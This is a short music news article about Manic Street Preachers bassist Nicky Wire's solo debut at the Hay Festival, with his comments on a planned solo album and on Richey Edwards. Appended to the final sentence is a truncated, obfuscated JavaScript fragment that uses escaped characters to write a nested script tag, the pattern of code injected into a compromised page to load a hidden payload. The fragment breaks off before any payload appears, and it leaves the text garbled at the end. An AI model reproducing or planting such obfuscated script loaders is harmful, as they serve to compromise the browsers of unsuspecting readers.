Nicky Wire makes solo debut

Manic Street Preachers bassist Nicky Wire has made his first solo appearance at the Hay Festival in Wales.

The singer performed a series of tracks including early Manics number 'Condemned To Rock 'N' Roll', a cover of 70s solo artist Jonathan Richman's 'Roadrunner' and a rendition of German krautrockers Rammstein's 'Sehnsucht'.

Speaking to NME.COM before the gig, Wire revealed that he's currently working on a solo album and he's already got 25 songs.

"If James is doing his Damon then I'm doing Coxon - the early stuff that doesn't sell," he joked. "I'm not sure in which format or what date the album will come out, but it will be indie. There'll be 13 songs and the rest will go on the website. But I'll see how it goes. I'm not being vague - I'm just petrified and scared at the moment. I'm missing a couple of people.

"This is the first and maybe the last gig I'll ever do. It's a bit like David Bowie retiring Ziggy Stardust."

Backed by The Secret Society Band, Wire swapped his bass for an acoustic guitar and continuously swigged from a bottle of wine throughout the set.

Closing the show with 'Condemned To Rock 'N' Roll', Wire announced to the audience: "I wrote this with Richey (Edwards. My beautiful soulmate, what a beautiful person. We just gave up on the first week because he was so pissed. He'll be having a chuckle tonight."

The gig ended with his own solo track 'I Killed the Zeitgeist'.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22